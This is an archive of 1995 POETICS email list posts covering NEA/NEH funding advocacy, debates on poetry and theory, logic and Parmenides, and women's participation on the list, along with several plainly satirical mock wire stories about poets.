The Mid-America Arts Alliance has "broken rank" with the National AAA and publicly called for the restructuring of the NEA. I don't have the details on this development, but the basic import of the gesture is easily enough understood. When you have State Arts Councils calling for their own "defunding" (they receive roughly 35% of their budget from NEA), things are bleak indeed.

Action Hotlines

When I spoke to a representative of the American Arts Alliance late last week, I was told that traffic on their 900 number was healthy (no precise figures were mentioned). Today, however, another source--not inside the AAA--reported that traffic is in fact disappointingly light (the figure mentioned was 3,500 calls since start-up).

While we feel that these Hotlines fall on the passive/expensive side of possible efforts to preserve federal arts funding, they do represent something like the "least you can do." If you live in a state whose elected representatives in Congress oppose the NEA/NEH/IMS, please make an effort to circulate the numbers. Once again, the numbers are:

Emergy Committee to Save Culture and the Arts
[redacted]
(An operator will explain that the call costs $1.99 a minute and will ask permission to send a mailgram in the caller's name to his or her Representatives and Senators. Estimated total cost: $6-$8)

Cultural Advocacy Campaign Hotline
[redacted]
(An operator will describe the message and explain that for $9.50 three Western Union mailgrams will be hand-delivered the next day to the caller's Representatives and Senators).

Note that neither of these systems permits you to direct mailgrams to Congressional representatives outside your state/district.

NEH Annual Report

On Friday, 9 February, President Clinton passed along the NEH annual report (1994) to the House and Senate with a brief message summarizing the "good works" performed by the Endowment in the past year. We reproduce Clinton's message below:

To the Congress of the United States: I am pleased to present to you the Twenty-ninth Annual Report of the National Endowment for the Humanities (NEH), the Federal agency charged with fostering scholarship and imparting knowledge in the humanities. Its work supports an impressive range of humanities projects. These projects can reach an audience as general as the 28 million who watched the documentary Baseball, or as specialized as the 50 scholars who this past fall examined current research on Dante. Small local historical societies have received NEH support, as have some of the Nation's largest cultural institutions. Students from kindergarten through graduate school, professors and teachers, and the general public in all parts of the Nation have been touched by the Endowment's activities. As we approach the 21st century, the world is growing small and its problems seemingly bigger. Societies are becoming more complex and fractious. The knowledge and wisdom, the insight and perspective, imparted by history, philosophy, literature, and other humanities disciplines enable us to meet the challenges of contemporary life.

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211. B. Cass Clarke

Quan Yin

Tue 14 Feb 1995

Dear Ron, I read the list primarily for the anti-heg stuff, i.e. I will laugh at least once today. I would like to add to Charlotte Presler's remarks the following:

Generally, the mechanics of vms mail editing is not intuitive. I have spent the last week learning how to file mail to folders. I learned the ins and outs of engine repair faster.

The nature of these lists - they are generally anonymous. Although the poetics list relies more heavily on the signifying name than others, I feel like I'm walking into a room with a blind- fold on surrounded by others whose state is unknown.

Under these conditions what is a toy and what a weapon? I've noticed there are whole trees devoted to teaching people how to inflect their remarks by using 8-) > type symbols. Obviously this media, or the people that write how-to books about it recognize there is some problem having to do with what is written and its intent.

This list by its title invites writers to perform. So far, I've seen a series of challenges, duels and target practice. It is a public arena where we watch our gang try to make something of it. I suspect that if any real conversation gets generated, it does so off the public screen. I have found such correspondence through this list, and value that.

Normally, I would post this to your e-mail address. But in the spirit of your inquiry, I reveal myself.

B. Cass Clarke
[redacted]

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212. **Spencer Selby**
Re: Deified Theories Limited
Tue 14 Feb 1995

I turned off my computer for a few days and here I have 50 new messages from the poetics list. Boy, it's like you turn away for a minute and you fall behind. What does this mean, and is it a coincidence that nearly all these messages are being written by men?

Since I was pretty involved in the discussion last week, and since parts of the discussion over the weekend do relate to things I said, I do wish to respond--but forgive me if I am selective. There is no intention here to be reductive.

Don Byrd says that poets who are not also self-professed theoreticians are irresponsible (my paraphrase, which I hope is not going to start another argument). I disagree strongly with this statement. I think Mr. Byrd's position here is significant because I believe something like this is what helps to underpin the privileging of theory which I see in Tom and James, and maybe others.

I believe poetry and all art is an attempt at world making. It is on its own level because the worlds it creates are of a different order--from the world or worlds we live our entire lives in on one side, and all our explanations on another. To follow the analogy of this definition through: Is this multivalent world we live our entire lives in irresponsible because it did not come with a set of clear instructions? Is God irresponsible because s/he doesn't make herself clear (to most of us, at least), because s/he doesn't give all the people who use her creation a set of authentic, identifiable explanations to guide them, because she doesn't even make her existence clear to a large percentage of these people? If so, then I opt for irresponsibility over responsibility.

I imagine Mr. Byrd will not be enamored with my reasoning, or the implications I draw from my world-making analogy. I admit that this comparison doesn't do

justice to all the slipperiness of the issue at hand. I am not simply against responsibility any more than I think Mr. Byrd is simply for it. Obviously, judgment and balance of some sort is called for. The problem is, who do we trust to make these judgments? My Byrd says "the poetry that is of enduring interest ...incorporates its theory in the poems themselves." Of course that's true. In fact, I think that's one of the few points which has been made in this discussion that everyone may agree on. But there's no objective or foolproof way to gauge which poems do this successfully and which do not. On the contrary, these critical judgments tend to be notoriously subjective. This is a problem that most today play down or ignore or are downright naive about. I would not single out Mr. Byrd here, but at the same time I don't see that he's made much, if any, progress against this barrier. (As with Lew Daly, there seems to be quite a gap between Mr. Byrd's dramatic call for a new direction and the poets who he says might signal this direction. In both cases some good and/or accomplished poets, but it's difficult to believe that these midcareer poets represent anything that radically new or superior, compared with a lot of others working today.)

James Sherry says that the problem with my statement about art being on its own level is it's hierarchical. James writes this in all caps, which I did not appreciate, but which I think may say more than the content of his statement. Since I first disagreed with James, I have gotten a series of responses in which he has expressed his impatience with me. James seems to think our disagreement is the result of my bad listening or my lack of knowledge or my inability to comprehend what he is saying. There may be some misunderstanding, but no more on my side than his. And I have not written statements in all caps, nor have I spoken down to him or implied annoyance that he would question me or my understanding of these issues.

I have argued for art as being more than all these explanations. In doing this I have been drawn into the discourse. O.K. I admit that; I take responsibility for it. I even admit that my position is theoretical, in a sense. But please don't forget why I have made my statements. I am concerned about the limits and dangers of this discourse, which are all the greater for not being fully acknowledged. I see a need for questioning the high-minded tone and attitudes of self-importance which go along with much of this discourse. In saying I have more faith in art than in this discourse, I am accused of being hierarchical. But I believe it is those who have elevated this discourse that are putting themselves on a higher plane.

Art or poetry is much more than this discourse (anyone's discourse), just as life is much more than the formulated knowledge we each or all have of it. In being more, art separates itself, but not so in the minds of some who speak so knowledgeably, so authoritatively on this forum. They prefer to argue about

explanations that can never be effectively proven, explanations which may be opposed to the more expansive spirits of life and change and freedom and mystery that the best art celebrates. Missing this or deemphasizing it, no wonder they think so much of their explanations.

Spencer Selby

P.S. The above was written on Monday afternoon, before Ron's note about female nonparticipation appeared. I am happy that he said something about this, and that his statement is getting some reaction.

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213. Spencer Selby
Re: deified theories
Tue 14 Feb 1995

The meaning of "art" for me comes from all the art I've experienced, not the dictionary definition, nor anyone else's definition, semantic or otherwise. I believe this is true for other people too, even if they don't admit it. And that is why the word or concept does not become passe. I have used the word "art" interchangeably with poetry in much of the recent theory/practice discussion because I don't think the issues here (at least the aspects that I've tried to address) are exclusive to poetry. Spencer Selby

On Sun, 12 Feb 1995, Loss Glazier wrote:

> *I, for one, have some problem with the word "art" when it comes up in relation to theory. Theory I can see. There's a practical quality to it. I mean you sit down and type it out. Whether the poem precedes theory or the theory proceeds the poem is probably moot. But when does the poem turn into "art"? Isn't this something left way behind somewhere? Here's what the _American Heritage_ has to say about it:*
>
> > *1. Human effort to imitate, supplement, alter, or counteract the work of nature. 2.a. The conscious production or arrangement of sounds, colors, forms, movements, or other elements in a manner that affects the sense of beauty, specifically the production of the beautiful in a graphic or plastic medium.*
>
> *So maybe that's my difficulty with the term. It brings up the spectre of those terms like the "beautiful" and "nature" which seem foreign to activities that might have some application to our present gatherings...*

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214. cris cheek
refried vocabulary vs. chaotic boundaries
Tue 14 Feb 1995

James, I was quoting Mathew Arnold in 1849 who was obviously getting nervous towards his candle of coherence in expressing (to Clough) his need (which he hoped was more widely shared: 'to begin with an idea of the world in order not to be prevailed over by the world's multitudinousness' or rewritten / broken many ways 'to begin with an idea of the world in order not to be prevailed over by the world's multitiduinousness' and so on into variations. But then Arnold was the author of 'Culture and Anarchy'. Useful multiple edges inside that title too. This quote is contextualised by the 1851 Great Exhibition, of course - that first imperialist garnering of photography, science, technology, art, design, botany and more under 'one roof'. A multitude of information and influences and interfaces. The 'other' in 'our' midst.

Certainly 'English' poetry, with notable exceptions has resisted that multitudinousness - not even through adopting an idea or even ideas in order but by retreating behind the net curtains of sentiment and identity. Chaos theory and analogy is wearing a tad thin, though I understand your condimental drift. To go along that path a little (and it's a steal) it's agreed that there is no possibility of accurately measuring the coastline of Ireland because even if all other terms and variables could be established as common at the outset by the time the full trajectory had been traversed the actuality would have changed through process of erosion. I'm keen on a poetry which engages with such slippage and makes its process sing. The inter-relations of inextricable detail between poetry and theory are those between positive and negative space or between improvisation and composition -

Or as Raymond Chandler put it (I like these hard-boiled-noses / heavy academic references best):
'down at the corner was dust in the air, as though a car had passed that way'

good to meet up with you again

cris

> *on 13/2/95 James Sherry wrote 'someone last week referred to Lamb or another 19th century critic's approach that we need a point of view to avoid chaos'.*

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215. cris cheek
Boys and Toys Talking
Tue 14 Feb 1995

Ron, you're right. It's an issue. But it seems to me, from a rough count, that the imbalance of posts approximates the imbalance in subscribers to the list. About 1:6? Approaching that level of discrepancy (well maybe 1:4) has been echoed both among practitioners and audience at events in England. Although there has been movement towards improvement over the past three years or so.

I'm keen on using and exploring the use of e-mail having been such a terrible correspondent for ever since. I'm new to this list and am enjoying the mix of agendas. Putting in the necessary time with technology is not a boys own thing. There is a problem though to be acknowledged between the speed of posting and more reflective responses. It puts extra pressure on the reflective to be more 'polished' which is unfortunate. The rough and conversational aspects of this site for exchange and engagement is what attracts myself and probably creates resistance in others. No suggestion here that reflection is gendered.

However it might be the train-spotting or jazz buff nature of rapid response postings which is most gendered and off-putting. And anonymity might help a lot.

None of this is an attempt to explian away. Glad you've raised it and hope the response is constructive as it appears to be so far. In anticipation - I never saw it as a health spa, can't we meet somewhere more social? Ira recently raised a clear point about what passes unchallenged here.

cris

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216. Ron Silliman
Anon
Tue 14 Feb 1995

I love it when people sign their posts...

I get this list both at home and at work. At home, NetCruiser gives me pretty detailed stuff not just on who originated the message, but their email address as well.

At work, I'm using Lotus Notes and it only tells me that these messages are from POETICS, so it's a curiously disembodied discussion. I've reread long chains of letters at home at night just to see who wrote them.

Thanks,
Ron Silliman

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217. **Joe Amato**
Re: p>q re parmenides, etc.
Tue 14 Feb 1995

ok, i can't resist this thread:

p>q statements are false ONLY if p is true and q is false... which means, against a truth-table grid, that only 25% of the logical possibilities are false...

which means that it's logically (and statistically) likely to say something logically true given this construction....

BUT recall (if this is old hat for any of you) that p>q is not a statement of causality per se... that is, it's not that p affects (or effects) q... though of course the logic behind why p>q is true whenever p is false would seem to invoke a mild form of causality...

it's not surprising that logic yields counter-intuitive results (science and engineering do too)... or perhaps one's intuition needs to be twisted some...

as to the example given, "if a and not a, then (whatever)," this would be said to be vacuously true in that "if a and not a" is taken ALWAYS (in this logic, anyway) to be false... or perhaps that should better read "true vacuously"...

what's interesting to me is why this has become a topic on poetics... i mean, it's baby logic in philosophy circles, and even computational theory textss make short order of this stuff... i'm not saying that it's irrelevant, but i am saying that i find it a curious thread around here... perhaps it's the reference to wittgenstein, but i mean, like, he said so damned much, ultimately,

anyway, you will all probably note that i find it titillating myself, given my former math. background...

so mea culpa!...

joe amato

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218. **Chris Stroffolino**
Re: reified names vs. boundless vocabulary
Tue 14 Feb 1995

Mark Wallace, claims that one has to be "theory" to be heard. Heard by whom, Mark? and to what end? Is theory a kind of dress-code? Will they cut the NET (National endowment for THeory)?

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219. **Joe Amato**
gender...
Tue 14 Feb 1995

---

i guess i feel mouthy today...

i like ron silliman's having called attention to the fact that this list has
taken on a boys' club aura... this has happened, inevitably, to most lists
on which i've participated... given the reality of something like 80-90%
internet traffic being generated by males, it's a statistical likelihood
that most posts will be from men... but this doesn't explain the relative
silence of women in a given venue...

what generally happens is what's happening now---one of the men (in this case
ron) notices that women are not participating, and posts this fact... and a
few women write in and attempt to convey some sense of their feeling not
esp. motivated to participate... not always, but usually one of the reasons
given is the fact that they find the space to be 'agon-izing,' a "series of
challenges," as b. cass clarke has it... that is, usually, but not always,
some element of gendering, however subtly construed, would seem to be at
work in creating a less-than-generous ambience (shall we say)...

and usually, but not always, a few male subscribers react rather unfavorably
to this charge, and a few react rather favorably... and usually, but not
always, this leads to a further dispute twixt the men, again...

i tend these days to try to understand these virtual environments in terms
of a dialectic (initially, anyway) of immersion and withdrawal---what could
be taken as a requisite couple for artistic work in general... in any

case,
i've noted consistently that discussions in which the disputants are male
invariably draw on those theories that manage to abstract out the more personal
site(s) from which (whatever) work emerges... there would seem to be the need
to invoke a lineage of thinkers, most of them male, a necessity for moving
toward higher and higher levels of abstraction... i don't have much in the way
of antidote to this (at least in part because i'm, uhm, male) but i *do* believe
that much of what might pass as irrelevant to some on this list in fact has
a place in these proceedings... by way of example, i posted to this list
some time ago a rather lengthy, perhaps pedantic response to apex of the m
that tried to account for *who* i am vis-a-vis many of you... perhaps some of you find/found this
aspect of exchange
unnecessary (and i understand that i risk
criticism here
for attempting to privilege
my own discursive
orientation, but
what the hell)...

that is, we don't really know each other, many of us, and much of this
discussion BECOMES agon-izing simply because we (incl. myself) haven't taken
the time that perhaps we should to have developed and cultivated a sense of
trust... i mean, i can stand the heat, so to speak, as i'm sure can many of
you, but this is not a reason for coming together---here, there or anywhere...

so i guess i'd have to opt for a more revealing, a closer encounter with each
of you, however you each might wish to engender same...

best,

joe amato

↑ Index

220. **Joe Amato**
oh & yeah...
Tue 14 Feb 1995

---

happy valentine's day, folks!

love & kisses,

joetomato

↑ Index

221. **Jorge Guitart**
baby logic
Tue 14 Feb 1995

---

joe, grownup logic has not improved on baby logic so far.

I am sure you rmember that in order to prove anything logically we have to start the null set (the nothing that IS!). Underlying ALL logic (baby & grownup) is th which P is the null set.

Since Parmenides thought that the null set was false (for him there is no 'nothi is that any NOT entails an absence (which is a nothing) so Parmenides was just a tricky dude (a poet, you might say, who thought of the impossibility of change while changing his clothes, etc.)

In theory he would not have been able to deny anything or assert anything. But he was just like any of us.

↑ Index

222. **Joe Amato**
Re: baby logic
Tue 14 Feb 1995

---

jorge, yes, it's that grownup logic IS baby logic, exactly... a knotty conundrum, reminds me of mark taylor's disquisitions in _nOts_... the tautology "a or not a" hits at precisely this, where "a" is the null set... so we opt for something ex nihilo, or the nothing that is there...

what a revoltin' predicament!...

joe

↑ Index

223. **aa1464**
Home of the Creepy Crawlies
Tue 14 Feb 1995

Subject: Home Of The Creepy-Crawlies
Copyright: 1999 by The Anti-Hegemony Project
Date: 20 Jun 99 05:10:15 EST

Lines: 89

PROVIDENCE (AHP) -- The Poetarium is unlike most museums you've visited.

It's located in a Providence working-class neighborhood with bridal shops, bakeries and bars on every block, about 10 miles from Brown University.

When you get there, you've got to climb a flight of stairs.

Suddenly, you realize you're in the middle of more than 100,000 live poets, the kind that go ``buzz'' in the night.

Children, especially, love it.

More than 75,000 visitors -- mostly pre-teens -- file into the poetry zoo each year, paying $3 apiece to be up close and personal with the creepy, crawly inmates. Hundreds of school field trips have already been scheduled for 1999.

---More--

Group bleari.poesy.animals available: some - more unread: lots

article whatever 31-JUL-1999 19:30:30

``It's not only entertaining, it's also educational and enlightening,'' says Steve Evans, the 30-year-old museum founder and proprietor of Steve's Bug-Off Poet Exterminating Co., located on the building's ground floor. The Poetarium occupies 6,500 square feet on the two top floors. This is the real deal, no cheesy rip-off filled with first editions and photographs. Evans says it's the largest in the country. ``The Smithsonian poetry exhibit in Washington has less square footage and I've got a million more poets still in storage,'' says Evans, proudly displaying a room overflowing floor-to-ceiling with boxes, cookie tins and Tupperware filled with dead poets from around the globe. ``I respect what they're doing. Their staff is extremely knowledgeable and they really do a great job teaching the kids,'' said Robert Bertholf of the Poetry and Rare Book Room in Buffalo, which has its own extensive collection. ``Steve has

even come in here and set up some wonderful exhibits, very professional stuff,'' Bertholf said.

---More---

Group bleari.poesy.animals available: some - more unread: lots

article whatever 31-JUL-1999 19:30:30

The Poetarium is designed to give the illusion of being out in the wild. The walls are decorated in a bar motif, the carpets are cigarette-butt strewn and the soundtrack is poetry's own -- Amy Lowell chirping and Carl Sandburg humming. Movies, holograms, microscopes and professional quality exhibits and games keep people of all ages occupied. There is also a real swarming beatnik read-in and a giant rubber-band ``enjambement'' for children to crawl through. Electronic quizboards measure your poetry intelligence. For example, did you know that New York School poets could survive on just the food offered at gallery openings? that Hip-Hop poets have more than 1,000 ``brothers'' and ``sisters'' each? And yes, Language Poets really do bite, but maybe they're only angry about having a 12-month lifespan. There's even a scale to weigh yourself in New Critics, New Formalists and other six-legged creatures. If you thought losing 10 pounds was difficult, imagine shedding a half-million versifiers! Robert Pinsky, Eugenio Montale, Gottfried Benn, Edith Sitwell, Aime Cesaire, Jean Toomer, Ingeborg Bachmann, Rabindranath

---More---

Group bleari.poesy.animals available: some - more unread: lots

article whatever 31-JUL-1999 19:30:30

Tagore, Phyllis Webb, Pablo Neruda, Carl Dennis, bpNichol, Sappho, Jack Gilbert, Alan Gilbert, Allen Ginsberg and Gilbert Grape are all present. ``Everyone here is really nice. It's not scary,'' said Jessica Lowenthal, 22. ``I had lots of fun.'' The centerpiece of the Poetarium is the pedants. Thousands and thousands of good old ``poeticus obscurorum'' -- stuffed shirts -- encased inside a four-foot plastic fence that surrounds a model library and study. The repulsive critters slither in and out of the cabinets and drawers and occasionally attempt to scale the wall. ``I promise you, they can't get out of there,'' says Evans's partner, Jennifer Moxley, the curator and one of the tour guides. ``There's a Teflon paint strip at the top which makes them slide back down. If they get past that, there's a row of electrical wires.'' Numerous poetry-related items are available in the gift shop, including posters, T-shirts, coloring books, postcards and plastic Vincent Ferrinis. Many of the poets are captured by Evans and his staff, especially service director and exhibit designer Peter Gizzi, a

---More---

Group bleari.poesy.animals available: some - more unread: lots

article whatever 31-JUL-1999 19:30:30

longtime poetry collector. Using butterfly nets and riding a mountain bike painted camouflage green and brown, Gizzi rolls into the wilds of nearby New York City and sees what he can snare.

For Evans, life's metamorphosis was a little more complex than word-larva-pupa-poet.

He began while a graduate student, working on the side as a lobbyist for poetic environmentalists. This led to opportunities in poetry population control. But he still prefers collecting to killing the poets, and in 1997 Evans opened the museum.

``We used to have a smaller store, and we'd put whatever we caught each day in the front window -- short story writers, translators,'' Evans says. ``People were looking in the windows all the time. Teachers even brought their classes by. I thought this would be a great way to teach kids that poets aren't bad, once you get to know them.''

So what's next for Evans? Would you believe a poetrymobile?

``I'm converting an old paddy wagon,'' he says. ``Look for us at a school or mall or senior center near you.''

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224. **Tom Mandel**

Re: p>q re parmenides, etc.

Tue 14 Feb 1995

If memory serves me rightly, the classic work on counterfactual conditionals (p>q, where p=f) was dont by... Nelson Goodman? is that the name? in the forties..... for those who are interested.

Tm

↑ Index

225. **James Sherry**

Re: Leeches Find Love

Tue 14 Feb 1995

SHOULD WE OUT, BEN f? OR IS HE SELF OUTED? Some are too cruel, like the Watten one, for him to continue to hide, sniveling in the mire of his own petulence. But fabulous anyway. If I am wrong, I'll eat cake. Jmaes

On Mon, 13 Feb 1995, Nick Lawrence wrote:

> *Subject: Leeches find love in intimate poet reaches*
> *Copyright: 1999 by The Anti-Hegemony Project*
> *Date: 0 May 99 10:20:30 EST*
>
> *Lines: 20*
>
> *NEW YORK (AHP) - Bio-linguists have found the secret trysting place for one species of academic leech and their discovery explains why it remained unrevealed for so long -- its home is inside a poet's rectum.*
> *The leech, Criticarius Theoretici, is closely associated with poets. The leech does not attach itself to any other animal and has the same texture as a poet's thick hide.*
> *``New Scientist,'' in-house magazine for Lang-Po Labs, quoted the researchers -- James Sherry of Bowery College and Tom Mandel of Yorick University -- as saying they had found several leeches inside the rectums of recently killed and dissected poets.*
> *The leeches were swimming around freely, rather than*
>
> *---More---*
>
> *Group bleari.poesy.animals available: 333 - 999 unread: 222*
>
> *article 777 32-MAY-1999 20:30:40*
>
> *sucking blood, and had bulky sperm cases sticking out from their bodies, leading the bio-linguists to believe they were mating. Leeches are hermaphrodites, carrying both male and female sexual organs.*
> *``There are obviously some very interesting adaptations,'' Sherry said. ``But to find out more it would be necessary to work with a live poet and that's a very dangerous creature.''*

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226. FUNKHOUSER CHRISTOPH
Trade
Tue 14 Feb 1995

Subject: Buffalo trades Howe to Naropa for three players
Copyright: 1999 by The Anti-Hegemony project
Date: 20 Feb 99 01:03:05 EST

Lines: 19

BUFFALO (AHP) - The struggling Buffalo Poetics Program sent high profile scorer Susan Howe to the Naropa Institute yesterday for veteran wingers Bobbie Louise Hawkins and Anselm Hollo plus minor league defensewoman and recent NEA recipient Eleni Sikelianos.

The Program, which has only one win in its last five semesters, also sent a third-round pick in the 1999 admissions draft to the Institute as part of the deal.

Howe, who logged over a million miles last season to lead the Program in travel time, had just two insights and three inspired outbursts for five points in Buffalo's first 4 weeks this year.

Hawkins and Hollo both played a significant role in Naropa's last Holy Grail season, in 1993. In brief stints with the parent

---More---

Group bleari.sports.poesy available: 11000 - 11987 unread: 1

article 11986 21-FEB-1999 23:32:00

club, Sikelianos has shown a great deal of promise.

Hollo has six insights, Sikelianos has three insights and Hawkins has one inspired outburst and four insights for five points in 4 weeks this year. All three players are expected to be in uniform tomorrow night when Buffalo hosts the Southern California Sun & Moons.

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227. FUNKHOUSER CHRISTOPH
Re: AHP
Tue 14 Feb 1995

> *SHOULD WE OUT, BEN f? OR IS HE SELF OUTED? Some are too cruel, like the Watten one, for him to continue to hide, sniveling in the mire of his own*

> *petulence. But fabulous anyway. If I am wrong, I'll eat cake. Jmaes*

JS

You (pl.) can OUT whomever you like, but to attempt to ascribe the work of the Anti-Hegemony Project to any one individual would constitute a whale-sized inaccuracy.

So, bon appetite chris f

↑ Index

228. **James Sherry**

Re: from Charlotte Pressler (fwrd): Little Mary Sunshine

Tue 14 Feb 1995

Re Pressler's remark, I have just written a message with almost thesame concerns to Charles Bernstein about why I included a message to which I was responding in my response.

For me the quickness and ease of response on the list is contrasted with the necessity to have a measured response. This is a hard place to get to when I have mostly either had easy and extended exchanges with corrections in conversation OR thought out slow exchanges by articles, letters, etc. I think it's the newness of the medium and the unusual nature of the way we must respond.

Thanks Charlotte for your message.

Jamses SHerry

↑ Index

229. **Joe Amato**

Re: p>q re parmenides, etc.

Tue 14 Feb 1995

---

correct tom, "goodman's paradox" etc... _the structure of appearance_, _fact, fiction and forecast_ (both in the 50s)... goodman for some an extreme nominalist...

joe

↑ Index

230. James Sherry
Re: refried vocabulary vs. chaotic boundaries
Tue 14 Feb 1995

Am I to understand that Arnold was attacking the premise of the 1851 Great Exhibition? What a fantastic citation. The notion of slippage and further of how order slips in to turbulence is at the ehart of wht I 'd like to accomplish at hte outset, but later I'd like a further. And in that sense the poetry might come after writing (yet another insidious distinctino which won't hold up).

Yes hello again.

Jamse

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231. Mark Wallace
theory and being heard
Tue 14 Feb 1995

Chris Stroffolino asks me to answer "being heard by whom" when I suggest that "to be heard you have to call yourself a theory." And yet, Chris, we both know that we both can barely afford a bus trip to NYC, although I have to admit that I did recently splurge and buy myself a new winter coat because the old one was starting to stink.

Clearly, no one's being "heard" at all. But if I don't call myself a theory I know for a fact I'm out of work. On the other hand, perhaps there is a certain romantic charm in "living the free life of a roaver" and I'm just busy playing it up for ratings.

See you on Letterman.

mark wallace

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232. Spencer Selby
Re: deified theories and unfounded vocabularies
Tue 14 Feb 1995

Dear Charles,

Yes, Don Bryd's statement on the relationship of poetry to theory is too pat. And so are some of Tom's and some of James' and others. And so are some of mine. I admit it. In being drawn into the discourse, I have been forced to formulate my position in a way that is not entirely satisfying to me. No matter how I formulate it, it will not be entirely satisfying to me. It is not just the

formulations of others that I am dissatisfied with. This is the paradox of my antitheoretical position.

I do not want to create a "true theory" around my statements about art being on its own level. Art is separate and it is not. That is how I really feel. I have emphasized the former because I do not like the way the theorists assume or reason (or pontificate) from the latter. The problem with this is, it seems like I am only aware of the failure of theory, and that I have this unbounded, starry-eyed faith in the power of art. That is not the case.

There is a sense in which art and theory are connected in their failure to fully impact people's lives. I tend to blame theory for its failure, but the people (both artist/poets and viewer/readers) for the failure of art. My lifelong experience has encouraged this distinction, but like any prejudice I know that it is not always accurate.

To be continued...

For now, I thank you for your question and thoughts.

Spencer

On Sun, 12 Feb 1995, Mn Center For Book Arts wrote:

> *Generally I like to refer to Deleuze & Guattari, but I do believe that the relations between/among "book" & "literature" are entirely problematic, and I can more easily embrace the concept of book as machine than literature as one.*
>
> *I also find most statements that, as D. Byrd says, poems "incorporate" theory to be too pat. They may do so, but hopefully in a way which enables both theory and poetry to be anything but dogmatic and inflexible.*
>
> *Please explain, Spencer, what "level" art has. Art has its own level, is this like one of Dante's circles in the Inferno, or somewhere up some other cosmological ladder? Can art or theory really be divided so clearly from one another or from any number of other practices we can name, like work, state, love, morality?*
>
> *charles alexander*

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233. **Kali Tal**
Re: Boy Talk
Tue 14 Feb 1995

Ah, drawn out of lurkdom by provocative questions.... tho I must admit, quite sheepishly, to be responding in *exactly* the spirit that Joe Tomato has described--I do so hate to be predictable...

> *Why do you lurk without posting?*

Well, I *don't* really lurk without posting. A couple of weeks ago I wrote a fairly lengthy post describing *why* I feel--as a publisher and editor of two poetry series and miscellaneous individual volumes of poetry, *and* as a literary critic with "academic" credentials--like an outsider in the POETICS conversation. My post met with resounding ... silence. Didn't garner a single response on the list, though I did get backchannel notes from my old friend Joe (hi Joe!) and from Charles Bernstein (hi Charles!). I've been active on the internet for a while, and I don't take nonresponse personally, but it *does* generally seem to conform to a pretty gendered (and racialized) pattern. Since my concerns revolve primarily around issues of how race/gender/class interact with the theory and practice of "culture" and "art" (including poetry), whenever I post, I bring up these issues. Nonresponse is something I've certainly gotten used to. Now I tend to post only when I feel that I've got something pressing to say, and when I am met with nonresponse, I usually let the matter slide, *unless* "becoming visible" seems like a battle worth fighting in this particular place at this particular time.

> *What would it require to change this?*

Oh, it would be easy to get *me* to post more.... But it would require that someone(s) actually engage me in public conversation, offer a response to my words. Think of the studies of male/female conversations which demonstrate that women introduce a wider variety of subjects than men, but that fewer of the subjects they introduce are picked up and expanded on. And the ones which show that when a woman brings up an idea it's often ignored, *until* a man brings it up--at which point he gets the credit for thinking of it and she continues to be ignored. These patterns are evident in email as well as in face-to-face conversations. But email is even more difficult for a woman to negotiate, in my opinion, because the lack of physicality, the reduction to a textual "body," makes it harder for her to be SEEN/READ. Look at it this way--email is one of the few environments in which anyone and everyone can "pass" as white, heterosexual, and male unless he/she speaks/writes out *against* that normative body. Now, there are advantages to being able to "pass" in this manner (advantages that members of marginalized groups have always gained from passing), but there are also costs. The advantages are clear

for women--no sexual harrassment, no more being ignored, no more being marked as "other." But the disadvantage is that passing requires adopting the language and interests and *style* of the folks you are passing *as,* and so concerns and questions and styles that might be significant to a woman *as a woman* become unspeakable. On the other hand, in this environment in which everyone can "pass," it takes constant vigilance and a great deal of ingenuity to create and perpetuate a *nonwhite* *nonmale* and/or *nonheterosexual* textual body--difference must be inscribed in each post in a way that makes it visible to the reader. The paradox is that "passing" allows women and nonwhite people to be "visible" in the sense that they are not treated as "other," but it is predicated on the disappearance of gender/racial identity. On the other hand, refusing to "pass," and insisting on inscribing a nonwhite or nonmale identity in our email results, often, in our being "disappeared" in the manner in which women and nonwhite people are "normally" disappeared. The entrenchment of the normative construct in espace (which I tend to think of as The Unbearable Whiteness of Being) makes me feel a lot like Ellison's Invisible Man--I've *been* in flamewars in which I have textually kicked the shit out of people who simply COULD NOT SEE ME. (And if you haven't reread the opening sequences of _Invisible Man_ it might be worth going back to, since it sums up *exactly* the phenomenon I am describing.)

> *Are there other venues (listserv discussion groups in particular) where you are more active?*

I used to be very active on quite a few lists. I'm the Typhoid Mary of flame wars--where I post frequently, they usually become epidemic. In my Bad Old Days I could come out swinging against racist or sexist exclusion in discussions and rile folks up so bad that hitherto peaceful (read: "homogenous") espace communities would polarize and then shatter. Grown men would act like children and storm off lists or publicly swear that they were never going to read another one of my posts. Heck, I've pissed people off so badly over email that at least one has, in all seriousness, threatened my life. (And yeah, those threats of violence--and implied rape--were gendered, too...) But I don't do much of that sort of posting anymore. Mostly, I just needed to experiment with it for a while to figure out how it worked. And I concluded, after some very serious thought and long study, that there was no way for me to *be* visible "here" in any of the ways which mattered to me. So I now confine my occasional public espace forays to "raids across the border," with the intent of making the population nervous, while at the same time escaping without serious wounds. And I have *always* figured that the only way to create a "level playing field" is to build it yourownself, so I got together with some like-minded people and started SIXTIES-L, a moderated discussion list in my field of study. I don't even post *there* that often, but it is definitely a woman-friendly space, as is

demonstrated by the high percentage of women posting to it. Which brings me to the next question:

> *If so, what do they do differently?*

Well, it seems to me that moderated spaces, or restricted-access spaces provide a more hospitable environment for women. I've been on women's-only lists, and in those places women have no trouble posting at all. As I said, on SIXTIES-L we moderate the discussion, and one of our rules is that we don't allow ad hominem attacks: you can harsh on people's *arguments* or *texts* all you like, but you can't slam their characters. This level of protection (applied equally to men and women) might have something to do with the higher percentage of women posting on our list. The only unmoderated list I know of which supports an overwhelming percentage of female posters is WMST-L, the Women's Studies list for educators and academics. WMST-L is technically unmoderated, but Joan Korenman is one of the most competent and active "nonmoderators" it's ever been my pleasure to observe in action. WMST-L might work so well precisely because it *is* mainly populated by feminists--and not only feminists, but women specifically dedicated to the work of building Women's Studies as a field.

Hey, Ron, thanks for asking...

Best,
Kali Tal

_____
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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234. Jorge Guitart
ex nihilo
Tue 14 Feb 1995

Joe, didn't the big bang "take" (ho, ho, ho) "place" (hee, hee, hee) in the Nothing that Was?

How great it is not to be uptight about the meaning of the words we use.

i am letting that feeling underlie everything i say.

For no matter what you do, people will process everything through their very personal devices that genetic noise shaped.

Don't you feel the same way?

jorge

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235. Jeffrey Timmons
Re: deified theories and unfounded vocabularies
Tue 14 Feb 1995

Preface: haven't had time to fully digest all the prolific writing on the relation between theory and poetry, but hazard an appearance I will....

